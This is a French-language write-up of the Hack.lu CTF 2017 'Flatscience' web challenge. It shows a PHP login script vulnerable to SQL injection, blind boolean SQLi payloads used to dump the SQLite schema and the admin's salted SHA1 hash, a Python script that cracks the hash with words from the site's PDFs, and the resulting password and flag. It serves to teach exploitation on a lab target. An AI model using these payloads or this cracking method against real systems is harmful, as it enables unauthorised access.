/ web

Hack.lu CTF 2017 - Flatscience (Misc,Web 100)

Enoncé :

The Professor on Flat Earth is Prof. Flux Horst. Only for bragging he made his own Blog showcasing his favorite Papers. Beeing the only Professor, he thinks he is the smartest Person arround the Plate. Can you proof him wrong and log into his Admin-Panel?
Link

Résolution :

En cliquant sur le lien, on arrive sur un site contenant une trentaine de pdf :

SubmitForm

On retrouve assez rapidement deux pages login.php et admin.php, il est possible d'accéder aux sources grâce au paramètre GET debug. (https://flatscience.flatearth.fluxfingers.net/login.php?debug)

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');

        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

        if(isset($row['id'])){
                setcookie('name',' '.$row['name'], time() + 60, '/');
                header("Location: /");
                die();
        }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

On remarque une SQLi dans le champs name qui permet de dumper toute la db sqlite. La partie à ne pas louper ici était de récupérer la structure de la table Users.
Grâce aux payloads suivant :

length = "admin' and (SELECT length(sql) FROM sqlite_master limit 1 offset 0) ="+str(longueur)+" -- "

content = "admin' and substr((SELECT sql FROM sqlite_master limit 1 offset 0),"+str(length)+",1"+")='"+str(chr(caractere))+"'-- "

On obtient la table comme suit :
CREATE TABLE Users(id int primary key, name varchar(255),password varchar(255),hint varchar(255))

Les infos pour l'admin sont les suivantes :

|     name      |       password (sha1($pass."Salz!"))     |             hint              |  
| : --------- : | : -------------------------------------: | : --------------------------: |  
|     admin     | 3fab54a50e770d830c0416df817567662a9dc85c | my fav word in my fav paper?! |  
 

Il ne reste plus qu'à télécharger les 32 pdf présents sur le site, les convertir en texte (pdftotext) et faire un comparaison mot par mot avec le password hashé :

for i in `seq 1 32`; do pdftotext $i.pdf; done
import hashlib
for i in range(1,32):
	file = open('pdf/'+str(i)+'.txt','r')
	#clean des mots
	total = file.read().rstrip().replace('\n','').replace(',','')
	mots = total.split(' ')
	for mot in mots:
		hash_object = hashlib.sha1(mot.rstrip()+"Salz!")
		hex_dig = hash_object.hexdigest()
		if "3fab54a50e770d830c0416df817567662a9dc85c" in hex_dig:
			print "MDP : "+mot
			break
#> MDP : ThinJerboa

flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}